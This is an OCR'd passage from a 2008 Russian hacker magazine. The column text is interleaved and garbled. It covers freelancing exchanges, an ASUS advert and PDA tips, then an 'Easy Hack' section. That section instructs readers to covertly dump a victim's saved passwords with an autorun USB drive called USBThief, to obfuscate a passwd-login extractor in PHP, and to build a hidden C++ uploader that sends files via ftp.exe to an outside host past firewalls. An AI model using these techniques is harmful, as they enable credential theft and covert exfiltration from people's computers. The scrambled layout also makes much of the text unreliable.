заматереешь и сможешь браться уже за более серьезные в ходе своеобразного тендера. У кого больше положительных никто не мешает
проекты. В идеале — будешь сам нанимать работников, чтобы отзывов, кто предложит лучшую денежку, кто доходчивее тебе найти помощ-
те выполняли часть кропотливой работы. Конечно, «не боять- убедит заказчика в своей компетентности — тому и флаг в ников и сколотить
ся» вовсе не означает «браться за все, авось получится». Это руки. Чтобы участвовать в тендере, необходимо подать заявку. команду самому.
очень частая ошибка, которая зачастую приводит к тому, что Просто пройтись по сотне проектов, наставить кучу ставок — и
вольный стрелок проваливается, переживая сам и серьезно ждать, пока одна из них победит, нельзя! Количество заявок Вместо www.
подставляя заказчика, у которого, вполне вероятно, нет друго- ограничено. Чтобы увеличить квоту, необходимо приобрести getafreelancer.com
го варианта и запаса времени. специальный аккаунт Gold membership. Абонентская плата с его устаревшим
составляет 12 долларов в месяц. Впрочем, эти деньги быстро интерфейсом и
Как начать? окупятся. У обычного аккаунта с каждой сделки сервис будет набором сервисов
Возникает логичный вопрос: а где взять-то эти самые зада- взимать комиссию, у Gold membership этого нет. Понятно, что многие рекомендуют
ния? Можно проспамить по базе e-mail, написать рекламу в если ты только зарегистрировался, совсем не хочется платить rentacoder.com. На
кабинке лифта, а можно запостить предложение в ЖЖ — ко- неизвестно за что. Поэтому Gold membership можно купить по- рентакодере нет
роче говоря, вариантов сколько угодно. Но чтобы фрилансеры сле первых выполненных в обычном статусе проектов, однако, ограничений на
не морочили себе голову, а работодатели могли найти их в я все же рекомендую сделать это сразу! количество бидов
любое время, были созданы так называемые фриланс-биржи. Предположим, ты нашел проект, который можешь и хочешь и платы за аккаунт,
Специальные сайты, где фрилансеры выкладывают резюме, выполнить, — самое время подать заявку на участие, то есть зато администрация
а работодатели — публикуют задания и проводят что-то типа сделать ставку, указав желаемое денежное вознаграждение взимает большой
тендера. В русской части интернета наибольшую популяр- (не может превышать заявленный заказчиком бюджет, но процент от стоимости
ность получили такие ресурсы, как free-lance.ru и weblancer. может быть меньше). Если проект открытый, есть смысл пос- работы. Рекомендуют
net (подробности во врезке). Но я с самого начала предпо- мотреть уже сделанные ставки и запросить денег чуть меньше, также elance.com.
читал сотрудничать с западными ресурсами, типа www.
getafreelancer.com (далее — GAF). Причин было несколько:
заказов там больше, оплата выше, а вероятность того, что мо-
гут кинуть, значительно ниже. Вот и сегодня я тебе расскажу,
как попробовать свои силы на западной арене, а конкретно,
площадке www.getafreelancer.com (как наиболее известной).
Набираем адрес биржи в браузере и, не пугаясь спартанского
Примеры заказов
дизайна, кликаем по кнопке Sign Up. Процедура регистрации Чтобы окончательно внести ясность, приведу несколько примеров заданий, кото-
стандартна: указываем имя пользователя и e-mail, на который рые я взял прямо с первой страницы сайта:
будет выслан код подтверждения. Далее идут опциональные • настроить почтовый сервер на базе Fedora 6 с использованием Postfix, Courier,
поля — по идее их можно проигнорировать, но если заполнить Mysql, Postfix, Fedora 6 (100$);
все правильно, указав сферу своей деятельности (скажем, • создать простой сайт с одной флеш-вставкой (300$);
XML, PHP, JavaScript), получится неплохая визитная карточка. • стенография 4‑х часового интервью (100$);
Забегая вперед, скажу, что в твоем профиле будут отображать- • переписать 2000 строк кода c Perl на Java (2000$);
ся отзывы работодателя — «фидбеки». В регистрации есть • улучшение аудио-кодека (4500$).

xàêåð 05 /113/ 08
037
>> pc_zone

Дебетная карта от GetAFreelancer


— верный способ получить зарабо-
танные денежки
Все проекты тщательно рассортированы по категориям. Как видишь, работенка найдется для каждого, независимо
от того, умеет он рисовать или программировать

чем все остальные (это не значит, что нужно жестко демпинговать). Напоми- что работа будет выполнена в срок, а это чуть ли не самое важное для
наю, что количество ставок (даже в случае Gold membership) ограничено, заказчика.
поэтому заявку нужно подавать только в тех проектах, где есть реальный Если заказчик выберет тебя в качестве исполнителя, то придет письмо
шанс выиграть. Если заявки подали уже десять разных фрилансеров, у трех «Project Bid Won», а статус проекта поменяется на «Frozen». По ссылке в
из них куча положительных фидбеков и срок выполнения у них в три раза письме нужно подтвердить свое участие — и проекту будет дан старт. Теперь
меньше, чем ты собирался предложить, то участвовать, очевидно, смысла придет письмецо от www.getafreelancer.com — «Project begins», в котором
нет. указан e-mail заказчика. Статус на странице проекта меняется на «Closed».
Представь, в заявке нужно что-то написать! Опытные фрилансеры Если у тебя нет аккаунта Gold membership, то со счета спишется комиссия
предпочитают не раскрывать козыри, поэтому пишут что-то вроде сервиса (10%, но не меньше $5). Ничего страшного, если счет уйдет в
«Please check PM» (пожалуйста, посмотрите личные сообщения), а «минус». Баланс может оставаться отрицательным до месяца. Внимание,
все подробности отправляют по внутренней почте GAF’а. Главная твоя важный момент! Чтобы застраховать себя от «кидалова», можно попросить
задача — убедить заказчика, что именно ты сможешь выполнить заказ заказчика перечислить деньги на escrow-счет (подробности во врезке).
лучше всех. Для этого в письме можно дать ссылку на свое портфо- Далее все зависит от тебя. Если выполнишь все правильно и в срок, заказ-
лио с похожими проектами, рассказать, как ты собираешься решить чик закроет проект, и деньги перечислятся тебе на счет. Если не справишь-
поставленную задачу. Вот тебе конкретный пример. Выполняя заказы ся — оплаты можно не ждать, зато работодатель наверняка впаяет тебе
средней сложности на C++, я заранее стал писать простые прототипы негативный отзыв в профайл. С таким клеймом найти проекты будет значи-
будущих приложений и отправлял их заказчику. Результат не заставил тельно сложнее. С другой стороны, грамотно выполнив заказ, ты можешь
себя ждать: 90% тендеров оставались за мной, притом, что я указывал смело просить работодателя написать о твоих заслугах. Большое количест-
максимально возможную цену. Готовый прототип — хорошая гарантия, во положительных фидбеков — твой главный козырь в ходе тендера.

Русскоязычные Опыт матерого


биржи фрилансера —
• weblancer.net. Одна из самых старых бирж, появившаяся
Криса Касперски
еще в 2003 году. Продуманная система привлекает огромное «Меня иногда спрашивают: сколько может получать фрилансер?
количество работодателей и фрилансеров. Денежные тран- Общаясь с моими знакомыми, я пришел к выводу, что в среднем
закции можно защитить с помощью гарант-системы. Среди фрилансер получает от $1k до $3k, но это очень-очень условные
прочего, бабло можно зарабатывать благодаря партнерской цифры. Можно выйти и на уровень $10k в месяц — смотря как
программе. работать. В то же время кто-то застрял на планке в $100 и лишь
• www.free-lancers.net. Удобный сервис, предоставляю- изредка получает $500. Опытный фрилансер получает столько,
щий механизм безопасной сделки (комиссия 1%), а также сколько хочет: заказов полно — только успевай. Где искать заказы?
— генератор технических заданий и возможность рекламы в Что касается хакерства (секьюрити там, безопасность), то лучше
каталоге фрилансеров (в резюме будет ссылка на твой порт- искать заказы на серьезных забугорных сайтах типа OpenRCE.
фолио-сайт). org, на которых присутствуют сотрудники крупных компаний.
• freelance.ru. Переделанный из обычного форума движок Читая чужие блоги и оставляя там свои комменты, можно выйти
— явно не самая сильная черта сайта. Вместо дополнительных на нужных людей: к примеру, многие мои знакомые устроились
возможностей мы получаем лишь продвинутый форум, на работать в Microsoft: как фрилансерами, так и на полную ставку.
котором публикуется большое количество заказов. Зато поль- Вообще, главное правило фрилансера — лучше не искать заказов,
зователям предоставляется бесплатный хостинг с поддержкой а ждать их поступления, предварительно как-то зарекомендовав
PHP, MySQL и Perl. себя. Например, путем публикации статей на серьезных сайтах или
• free-lance.ru. Самый молодой проект, но при этом самый участия в известных опен-соурсных проектах. Основная проблема
раскрученный: наибольшее количество предложений в рунете в том, что большинство компаний предпочитают работников на
публикуется именно здесь. Полный набор сервисов: гарант-сис- полный рабочий день и крайне неохотно идут на фриланс. Зачас-
тема, возможность поставить свой баннер, магазин для продажи тую он совершается неофициально и оплачивается из кармана
работ, рейтинговая система и ранком «Pro». руководителей различных подразделений фирмы, которым срочно
нужна рабочая сила, ан нету...»

038 xàêåð 05 /113/ 08


www.Xakep.ru
Хакерская почта
в домене @xakep.ru
>> pc_zone

На проекте GetACoder.com публикуются проекты только для программистов, но зато их очень много!

Вывод денег со счета Для удобства я рекомендую заказать дебетовую карту, которая высылается
Итак, дела пошли, ты уже выполнил несколько проектов и хочешь вывести почтой и идет около четырех недель. С ней ты сможешь снимать деньги в
деньги с внутреннего счета на GAF’е. Это можно сделать нескольки- любом банкомате или использовать ее для оплаты в магазине. Комиссия
ми способами: с помощью платежной системы PayPal, переводами при больших суммах будет значительно меньше чем, через E-Gold. Деньги
Moneybookers, на специальную дебетовую карту, посредством E-Gold выводятся с GAFа в ночь на понедельник (по нашему времени — где-то в
или банковского перевода. К сожалению, PayPal по-прежнему запрещает понедельник днем). Правда, есть нюанс, установленный правилами GAF’а:
жителям России и всему СНГ принимать деньги на свой счет, поэтому этот в первый раз деньги нужно ждать около трех недель.
вариант отпадает. Придется выбирать из оставшихся. Проще всего, конеч-
но, выводить через E-Gold с установленной комиссией в 5%. Минимальная Фрилансить или нет
сумма вывода на E-Gold составляет $30, максимальная — $250 в неделю. Решать тебе. Я знаю очень многих людей, которые совмещают фри-
Единственная загвоздка в том, что в первый раз вывод денег будет осуще- ланс и обычную работу. Есть и те, кто работает на себя постоянно. Эти
ствлен через 45 дней (антифрод система). После того, как администрация люди не ездят на Porsche Cayenne, но могут позволить себе вполне
убедится, что ты не кардер, выводящий деньги через их сервис, транзакции приличную иномарку. Они не колесят мир в поисках развлечений, но
будут осуществляться очень быстро. Напомню, что E-Gold просто обнали- упорно трудятся, зарабатывая деньги. Повторюсь, бесплатного сыра
чить в специальных обменниках или поменять на Webmoney. не бывает. z

Информация о проекте. Деталей заказчик не выдает

Что такое escrow-


счет?
Сразу после начала работы на GAF’е фрилансер может обезопа-
сить себя от кидалова и попросить заказчика перевести деньги
на так называемый escrow-счет, который курирует админист-
рация сервиса. Исполнитель не может забрать их оттуда, пока
заказчик не подтвердит, что проект выполнен (escrow release).
Забрать назад деньги с escrow-счета заказчик может только
после отмены оплаты исполнителем (если проект не может быть
выполнен). Спорные случаи рассматриваются администрацией
www.getafreelancer.com. То есть escrow — это гарантия получения
оплаты фрилансером.

040 xàêåð 05 /113/ 08


Безопасность
Самые современные способы защиты
ASUS Trend Club — это клуб для тех, кто всегда хочет быть в курсе актуальных
тенденций мира современных технологий. Наши эксперты выбрали 5 основных
направлений, в которых будет вести работу Trend Club: развлечения, новинки,
безопасность, железо и бизнес. Ежемесячно вы будете получать самую свежую
информацию по каждому направлению из журналов* и погружаться в интерак-
тивный мир клуба на сайте www.asusTC.ru.

Новинки | обо всем новом и уникальном, что ждет нас в будущем

Бизнес | cовременные технологии и тренды успешного бизнеса

Железо | Все самое интересное из мира компьютерного железа

Развлечения | Все, что нужно для современного отдыха

* Журналы — участники проекта: «Страна Игр», «MAXI tuning», «Свой бизнес», «Железо», «Хакер», «Мобильные Компьютеры».
Безопасность
НОВИНКИ | БИЗНЕС | РАЗВЛЕЧЕНИЯ | ЖЕЛЕЗО | БЕЗОПАСНОСТЬ
самые современные способы
защиты

SMART
tricks
Используем
коммуникаторы
Asus на 100%
Asus P750 чем для обычного компьютера. Но не в
• Процессор: Marvell PXA270 520 МГц наших целях сегодня разбирать стандарт-
• Память: 64 Мб RAM, 256 Мб Flash ROM ные и всем доступные разработки. Куда
• Экран: диагональ 2.6”, разрешение интереснее, если ты сможешь использовать
240x320, сенсорный, подсветка, 65536 свой коммуникатор нестандартно, выжимая
цветов из него настоящий максимум. Вот наши семь
• Слоты расширения: microSD (TransFlash), рекомендаций, как это сделать.
microSDHC, SDIO
• Коммуникации: EDGE, HSDPA, Wi-Fi, Противоугонная система
802.11b/g, Bluetooth 2.0 Сделав дорогостоящую покупку всегда
• Аккумулятор: Li-Ion 1300 мАч хочется обезопасить ее. И дело тут не
• Операционная система: Microsoft Windows только в покупке чехла и защитной пленки
Mobile 6.0 Pro на экран. Как обезопасить себя от самого
• GPS: SiRFStar III, установлена программа опасного — вора? Но высокие технологии
НАВИТЕЛ НАВИГАТОР 3.1 были бы не высокими, если бы и на этот счет
• Размер: 58x113x17 мм не придумали решение — xRay PDAFinder.
• Вес: 130 грамм Если вдруг телефон окажется в чужих сетях
и будет включен с «чужой» SIM-картой, про-
грамма тут же отправит SMS на указанный
тобой номер. А в сообщении укажет: номер
телефона, IMSI-код SIM-карты, IMEI комму-
никатора, название и код сети, в которой
Коммуникатор — это не просто телефон, особенно если это коммуника- зарегистрирован телефон. Все это быстро
тор Asus. Столь мощные девайсы просто непростительно оставлять без поможет тебе и компетентным органам найти
дела, используя лишь традиционные функции вроде телефонии, почты и потерянный/сворованный телефон. Тут есть
мобильного интернета. Сегодня мы научим тебя выжимать из них максимум, одна хитрость. Если вор быстро сделает для
используя всю мощь этих устройств для упрощения твоей жизни. коммуникатора так называемый Hard Reset,
то все установленные программы будут
На рынке мобильной аппаратуры сейчас представлены самые разные тут же удалены. Выходом из этой ситуа-
телефоны, смартфоны и коммуникаторы. Конечно же, последние пред- ции является запись программы со всеми
ставляют наибольший интерес: ведь насколько же приятно иметь при настройками в постоянную память устройст-
себе девайс, на котором можно использовать практически любой софт ва. О том, как это сделать, можно подробно
— зачастую аналогичный тем программам, которые мы устанавливаем на прочитать на сайте: 4pda.ru/forum/index.
компьютеры. Для наших экспериментов мы взяли топовую модель комму- php?showtopic=58768&st=0.
никаторов Asus: сногсшибательный Asus P750. Девайс оборудован про-
цессором с частотой 520 МГц, что большая редкость, 64 Мб оперативной Больше памяти!
памяти, имеет модули Bluetooth, Wi-Fi, GPS и поддерживает сотовые сети Когда в системе остается мало памяти, ОС
третьего поколения, которые вот-вот станут доступны в России. Короче может послать всем приложением систем-
говоря, в этом коммуникаторе есть все, и мы ничем себя не ограничивали. ное сообщение WM_HIBERNATE. Каждое из
Операционная система Windows Mobile, установленная на коммуникаторах них должно освободить столько ресурсов,
Asus — это почти такая же ОС, как и обычная винда. Со своей архитекту- сколько это возможно: путем закрытия
рой, особенностями, и, конечно же, инструментарием для разработчиков ненужных окон, остановки дополнитель-
— SDK, который каждый вправе использовать по своему усмотрению. ных процессов и прочими способами. Идея
Именно поэтому программ для мобильной платформы ничуть не меньше, хорошая, но почему это сообщение стоит

042 xàêåð 05 /113/ 08


Железо | «Мобильные Компьютеры»
«По сусекам за «АСУСТеКом». Руководство для покупателей ноутбуков
Развлечения | «Страна Игр»
«Игры в дороге». С чем лучше всего провести время в пути
В этом месяце Новинки | «Железо»
в других журналах клуба: «холодная война». Тестирование системной платы ASUS P5E3 Premium /WiFi-AP @n Edition

Журналы-участники: Страна игр | Maxi Tuning | Свой бизнес


Железо | Хакер | Мобильные компьютеры

посылать, когда системе уже стало Можно не только просмотреть обыч-


плохо? Куда разумнее высвобождать ную векторную карту, но и взглянуть Удаленное
память перед запуском, к примеру, на местность со спутника. Качество управление
тяжелого приложения вроде навигаци- поражает: на снимке отчетливо видна компьютером/сервером
онной системы с громоздкими картами. даже спутниковая антенна на крыше Имея при себе коммуникатор, ты
Если высвободить память заранее моего дома, а, значит, и некоторые всегда можешь обратиться к своему
(отправить системное сообщение), то проселочные дороги, которые на карте домашнему или рабочему компьютеру.
можно удержать систему от непремен- никогда не были отмечены. Но что Удаленный доступ к рабочему столу
но стрессового состояния. И в этом еще может помочь водителю, кроме предоставляет отличная программа
поможет небольшая утилита Oxios автоматического маршрута? Конечно VNC Viewer for PocketPC (home.utah.
Memory (www.oxios.com). Все, что же, информация о пробках! Такая воз- edu/~mcm5849/wince/vnc.html).
надо, это периодически запускать ее можность доступна пока только для Причем неважно, какую операционную
и каждый раз удивляться тому объему жителей обеих столиц. Что интересно, систему ты используешь дома: Vista,
памяти, который удается получить в в составлении оперативных данных Ubuntu Linux или что-то еще. В качестве
свое распоряжение, казалось бы, «из об обстановке на дороге участвуют серверной части, которую нужно будет
ничего». сами водители. С разрешения хозяина установить, используется известней-
программа может передавать инфор- ший продукт Real VNC, имеющий версии
Wi-Fi сканер мацию о том, насколько быстро тот как для винды и никсов, так и Mac’а.
Ты серьезно думаешь, что для поиска проехал тот или иной участок. Таким Для управления сервером зачастую
беспроводных сетей не обойтись образом, помимо пробок, перекрытий и удобнее использовать старый-добрый
без ноутбука с установленным затруднений движения на карте также протокол SSH. К счастью, доступ к
Netstumbler’ом или другой утилитой из подсвечиваются свободные участки удаленной консоли можно получить с
набора беспроводного хакера? Тогда — улицы, по которым можно ехать помощью специальной версии PuTTY
знай: коммуникатор Asus P750 спра- быстрее 40 км/ч. И это максимально — PocketPuTTY (www.pocketputty.net).
вится с этой задачей ничуть не хуже, а достоверная и актуальная информа- Доступные фичи те же: поддержка
то и лучше — потому как спрятанное в ция! самых разных протоколов, аутентифи-
карман миниатюрное устройство помо- кации с помощью секретного ключа и
жет просканировать эфир где угодно. Экономим деньги многие другие.
Попробуй ради интереса устроить пу- и время
тешествие с включенным ноутбуком, на интернет-трафике Умное общение
скажем, в Кремль:). Каждый из нас сталкивался с тем, что Вот ведь парадокс. Независимо от
Едва ли получится, а вот с коммун­и-­ GPRS-трафик очень дорогой. Прихо- того, находится ли человек за тысячу
катором — запросто! Понятно, что стан- дится сдерживать себя, экономить, километров, или сидит в соседней ком-
дартная тулза для работы с беспровод- отключать картинки и т.д. — лишь бы нате, все равно приходится набирать
ными сетями для этих целей не годится. баланс моментально не ушел в минус. его номер. Тратить деньги, бороться с
Поэтому тебе придется поставить Но имея при себе коммуникатор, у глюками сети. Но ведь если он совсем
бесплатную утилиту WiFiFoFum (www. тебя есть возможность использовать рядом, скажем, едет в соседнем авто-
aspecto-software.com). Поскольку ком- так называемый компрессор тра- мобиле, то зачем использовать сото-
муникаторы Asus оборудованы GPS, то фика, благодаря которому удается вую связь? Ведь приема в этом месте
каждая найденная точка будет помимо передавать данные в сжатом виде может не быть вообще! Что тогда — ос-
прочей информации сопровождаться и за счет этого серьезно экономить таться без связи? Ничего подобного!
координатами: широтой и долготой. По на количестве трафика! Насколько Если и у тебя, и твоего друга комму-
завершении прогулки ты, экспортиро- сильно экономить? В разы! toonel.net никаторы с поддержкой Wi-Fi, то вы
вав данные в KML-файлик, можешь — это типичный представитель таких легко можете воспользоваться этим.
скормить его программе Google Earth и компрессоров и не в пример другим Программа 4Talk (www.4pockets.com)
получить карту точек доступа, разме- решениям совершенно бесплатный. позволяет наладить связь по Wi-Fi
ченную на снимке из космоса! Утилита устанавливается в систему в или Bluetooth. Причем утилиту можно
качестве локального прокси, поэтому использовать как в полудуплексном
Информация все сетевые программы нужно обя- режиме (т.е. как рацию — один говорит,
о пробках на экране зать отдавать данные через прокси другой слушает), так и в полнодуп-
По правде говоря, я уже и забыл, сервер: по умолчанию 127.0.0.1:8080. лексном (разговор ничем не будет
когда пользовался обычной картой. А Программа эффективно жмет весь отличаться от обычного телефонного).
зачем? Если большинство карт давно текстовый трафик, включая вложения А количество собеседников вовсе
доступны для просмотра на КПК, в почте. Более того, принудительно необязательно должно быть равно
причем с возможностью поиска. Такую сжимает изображения, в результате двум — их вполне может быть больше!
возможность совершенно бесплатно картинки получаются с заметно худ- В окне программы всегда отображает-
предоставляет продукт Мобильные шим качеством, но зато их не прихо- ся, кто в настоящий момент находится
Яндекс.Карты (mobile.yandex.ru/maps). дится отключать полностью! в эфире.

xàêåð 05 /113/ 08 043


>> взлом

Easy Hack}
Владимир «Dot.err» Савицкий Леонид «Cr@wler» Исупов леонид «R0id» стройков
Хакерские секреты
простых вещей

Андрей «Skvoznoy» Комаров


/ [email protected] / / [email protected] / / [email protected] / / [email protected] /

№1
Задача: Изменить вид PHP скрипта, оставив функциональ-
переменных и функций, а также удалении лишних символов, в результате
чего затрудняется понимание кода. Структура самой программы (последо-
вательность функций и операторов) не меняется. Процент работоспособ-
ности скриптов после обработки — порядка 70% (возможны проблемы в
скриптах, использующих ООП). В общем, кому интересно — пробуем :)».
ность на прежнем уровне 4. Открываем сохраненный скрипт и смотрим содержимое:
Решение:
Зачастую нам требуется видоизменить тот или иной двиг/сорец на ПХП. $GLOBALS[' ']="\x66\x6F\x70\x65\x6E";
Причины могут быть разные: от шифрования содержимого до нарушения $GLOBALS[' ']="\x66\x65\x6F\x66";
копирайтов. Утилы для шифрования не всегда удобны, поэтому воспользу- $GLOBALS[' ']="\x66\x67\x65\x74\x73";
емся обфускатором PHP кода. Действовать будем на конкретном примере. $GLOBALS[' ']="\x73\x74\x72\x72\x65\x76";
1. Есть подопытный PHP скрипт: $GLOBALS[' ']="\x73\x75\x62\x73\x74\x72";
$GLOBALS[' ']=”\x73\x74\x72\x72\x63\x68\x72";
$fn=fopen("E:\passwd.txt","r"); $GLOBALS[' ']="\x66\x70\x75\x74\x73";
if(!$fn) { echo("Can’t open passwd.txt");} else { $GLOBALS[' ']="\x66\x63\x6C\x6F\x73\x65";
while(!feof($fn)) { $ =$GLOBALS[' ']("E:\passwd.txt","r");
$np=fgets($fn); if(!$ ) { echo("Can’t open passwd.txt"); } else {
$str=strrev($np); while(!$GLOBALS[' ']($ )) {
$login=substr(strrchr($str,":"),1); $ =$GLOBALS[' ']($ );
$rev=strrev($login); $ =$GLOBALS[' ‘]($ );
$fp=fopen("E:\logins.txt","a"); $ =$GLOBALS[' ']($GLOBALS[' ']($ ,":"),1);
fputs($fp,"$rev\n"); $ =$GLOBALS[' ']($ );
fclose($fp); $ =$GLOBALS[' ']("E:\logins.txt","a");
} fclose($fn); $GLOBALS[' ']($ ,"$ \n");
} $GLOBALS[' ']($ );
}
Комментировать суть скрипта не буду, скажу лишь, что он выдирает логины $GLOBALS[' ']($ );
юзеров из passwd-файла. }
2. Заходим на http://taran.su/abf/ и загружаем наш скрипт. После чего
жмем батон «GO». 5. Убеждаемся в работоспособности скрипта и радуемся.
3. Сохраняем полученный скрипт. Как указано на сайте: «PHPabf beta v0.1 5а. Перед заливкой потри все комменты, ибо обфускатор не умеет с ними
это обфускатор PHP кода. Сама обфускация заключается в изменении имен работать.

№2
Задача: Быстро и незаметно слить пароли с локального




icons
Dump
nircmd.exe
autorun.inf
компа на флешку
Решение: 3. Копируем содержимое себе на флешку, не забыв про авторан:
Вопрос о создании флешки «ближнего боя» известен давно. В зависимости
от ОС, нужд и требуемых результатов он решался по-разному. Существует [autorun]
относительно простой способ подготовить носитель оперативного исполь- action=Open Files On Folder
зования. Все, что от тебя потребуется — это прямые руки и четкое соблюде- icon=icons\drive.ico
ние описанных ниже инструкций. Приступим. shellexecute=nircmd.exe execmd CALL batexe\progstart.
1. Сливаем утилу USBThief, которую мы заботливо выложили для тебя на bat
нашем DVD.
2. Распаковываем архив и смотрим содержимое папки: 4. Приходим в гости к потенциальной жертве. Улучив момент, подходим к
компу и вставляем флешку в свободный разъем. Ждем примерно минуту и
• batexe вынимаем носитель.

044 xàêåð 05 /113/ 08


>> взлом
5. Довольствуемся урожаем, среди которого: • Данные об открытых портах

• Аккаунты к IM-клиентам Это далеко не полный список того, что ты можешь выловить в папке
• Мыльные аккаунты /Dump после похода в гости. Кстати, утила функционирует практически
• Сохраненные логины/пароли в ослике незаметно. Так что, не опасаясь разоблачения, можешь дать флешку
• Журнал посещений товарищу якобы, чтобы слить у него музыки/софта.
• Информация об ОС, апдейтах, лицензиях, etc

№3 while(!feof($site_fd))
{
$str = "";
$str = fgets($site_fd, 1024);
if (preg_match($mask, $str, $ip))
Задача: Награбить проксиков с веба {
Решение: echo $ip[0] . "<br>";
Иногда одного-двух проксиков бывает недостаточно. Это может быть вы- }
звано особенностью софта или поставленной задачей. Требуются большие }
прокси-листы, но отдавать за них деньги из собственного кармана не очень }
приятно. Можно обратить внимание на паблик-прокси. Они отлично подой- }
дут для использования в сканерах (и другом полезном софте). Возникает
лишь одна проблема — сбор проксиков с веба. 2. Товарищ _3lf заботливо написал хтмл-форму для удобной заливки фай-
1. Работать будем со скриптом proxygrabber.php: лов с линками на прокси-листы (лежит вместе со скриптом на нашем DVD).
3. Заливаем граббер на сервер, указываем файл с линками на прокси-лис-
set_time_limit(0); ты (напарсишь в Гугле без особых проблем) и жмем «Start». Файл должен
иметь вид:
if(!isset($_POST['filename'])) { exit(0); }
http://www.site.com/list1.html
$mask = '/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0- http://www.site.com/list2.html
9]{1,3}:[0-9]+/'; http://www.site.com/list3.html
http://www.site2.com/list1.html
$fd = fopen($_POST['filename'], "rt") or die("Can’t open http://www.site3.com/list2.html
file"); http://www.site4.com/list3.html
$site_list = explode("\n", fread($fd, 9999));
foreach ($site_list as $site) 4. Собственно, все. Довольствуемся результатом.
{ Скрипт достаточно шустрый, однако ты вполне можешь замутить много-
if ( ($site_fd = fopen($site, "rt")) !== false) поточность, переписав его на перле. В общем, как добывать проксики
{ — решать тебе :).

№4
Задача: Написать простой loader на С++
показать вложенность директорий. Завершим создание переменной с пара-
метрами, используя com_file:

char param[128];
Решение: strcpy(param, "-s:");
Заливать файл на сервер будем по ftp при помощи стандартной виндовой strcat(param, com_file);
утилы ftp.exe. Процесс автоматизируем небольшой прогой на С++. Одно strcat(param, " ");
из преимуществ этого метода — обход криво настроенных файрволов, strcat(param, "my-host.com");
так как у большинства незадачливых владельцев «огнестенок» команд-
ная строка (через которую, собственно, и работает майкрософтовский В результате в переменной param получим: «-s:X:\WINDOWS\ftp_
фтп-клиент) находится в списке доверенных приложений. Вооружившись commands my-host.com».
компилятором, приступим к решению. 2. Начинаем общение с сервером. Путь до файла с командами определили, а с
1. При запуске ftp.exe программе необходимо передать два параметра: путь до самим файлом не поработали. Исправим это: запишем в него последователь-
файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным мес- ность команд, передаваемых ftp-шнику.
том для создания файла будет виндовая директория. Забросим в переменную
com_file путь вида X:\WINDOWS\ftp_commands: Великий и могучий

char com_file[256];
char m_dir[256];
GetWindowsDirectory(m_dir,sizeof(m_dir));
strcpy(com_file, m_dir);
strcat(com_file,"\\ftp_commands");

Здесь все предельно понятно, стоит лишь обратить внимание на двойной


бэкслеш (\\) вместо одинарного. Его нужно использовать везде, где необходимо

xàêåð 05 /113/ 08
045
>> взлом

ofstream of(com_file); of<<"mylogin"<<endl; 3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим
of<<"mypass"<<endl; of<<"cd WWW"<<endl; of<<"send " << параметром покажем намерение запустить виндовый фтп-клиент, а четвертым
"D:\\WINDOWS\\regedit.exe" << " " << "regedit.exe" << передадим подготовленную строку с параметрами для него. Чтобы не беспо-
endl; of<<"quit"; of.close(); коить пользователя, укажем SW_HIDE — и консольный запуск ftp.exe пройдет
незаметно. Набираем:
Передаем логин и пароль. Строчкой «cd <имя_папки>» меняем директорию
(если требуется). Командой send (send <локальный_файл> <файл_на_ ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);
сервере>) будет послан экзешник с редактором реестра. Ну а строчкой
«quit» попрощаемся с фтп-шником сервера. Готово. Компилируем, запускаем, проверяем ftp-сервер.

№5
Задача: Создать плацдарм для экспериментов на
яркие обои, оповещающие о включенном ShadowMode (настраивается
через Options  Wallpaper). С этого момента можно выполнять любые
действия. Вот что было опробовано мною:

— копирование/удаление/изменение файлов;
рабочей Винде — инсталляция и деинсталляция программ;
Решение: — добавление/удаление разделов и значений реестра;
Отбросим в сторону скучные виртуальные машины, создание «слеп- — изменение параметров автозагрузки в msconfig;
ков», копий системы и использование соседского компьютера для — изменение параметров запуска и работы сервисов;
тестов необычного софта. Есть более дешевый в плане времени и сил — изменение сетевых настроек;
способ. — смена стиля Винды, обоев и скрытие панели задач;
1. Работать будем все с той же осью, приветственный экран которой — запуск практически безобидного троянчика
видим каждый день. Могу уверить, что все нижеописанное испробовал
лично и ничего с твоими форточками не случится. Итак, ставим почти Наигрался? Пора возвращать все на свои места. Находим в трее
бесплатную прогу ShadowUser Pro. Принцип работы основан на том, что ShadowUser и отключаем режим ShadowMode, выбрав Lose_All_
«слепок» системы не создается, а ведется четкая история ее изменений Changes и приняв предложение перезагрузиться. После перезаг-
(что экономит место на винте). рузки видим отсутствие любых изменений, внесенных при работе в
2. Выбираем Configuration на панели слева. Первая вкладка (Volumes) ShadowMode. Удобно? И не говори :).
предоставляет нам список дисков, за изменениями которых будем
следить. При тестах утил, которым мы не доверяем или не имеем
понятия об их направленности, лучше перестраховаться и выбрать All
Volumes. В противном случае какой-нибудь трой вольготно устроится
на незащищенном носителе и продолжит свое существование после
перезагрузки.
3. Следующая вкладка (Exclusion List) позволяет создавать список
папок, изменения в которых отменяться не будут. В папки будем скла-
дывать результаты работы (логи, конфиги — все, что угодно), которые
останутся нетронутыми при возврате к первоначальному состоянию
системы. Минимальная подготовка закончена, приступим к тестам.
4. Режим, в котором можно свободно экспериментировать, называется
«ShadowMode». Он запускается щелчком по кнопке Mode и выбором
Activate. Действовать режим начнет только после перезагрузки, о чем
будет выведено предупреждение. Перезагружаемся. Сразу заметны ShadowUser Pro

№6
Типичный цикл

Задача: Избежать многократного выполнения цикла


при пошаговой отладке процесса
Решение:
Всем известно, что практически любая программа использует
циклы в очень большом количестве. Они могут быть сгенерирова-
ны при компиляции даже там, где, казалось бы, их быть не долж-
но. Очень утомляет, когда при пошаговой отладке в OllyDbg (по
нажатию клавиши <F7> или <F8>) программа крутит цикл десятки
и сотни раз. Наблюдать за этим нет никакого смысла, если только
во время выполнения не генерируется какое-либо значение. Как
избежать «зацикливания» при пошаговой отладке? Ответ проще,
чем ты думаешь. Конструкция цикла обычно выглядит следующим
образом:

046 xàêåð 05 /113/ 08


>> взлом

адреса, по которому располагается сам переход (то есть, меньше


CMP регистр1, регистр2; сравнение двух значений содержимого регистра EIP на момент выполнения инструкции
[Оператор_условного_перехода] адрес; условный переход перехода).
на указанный адрес Можно сделать простой вывод — цикл должен быть выполнен не
пошагово, а в режиме исполнения программы. После чего необходимо
Оператор условного перехода является одной из инструкций: приостановить ее.
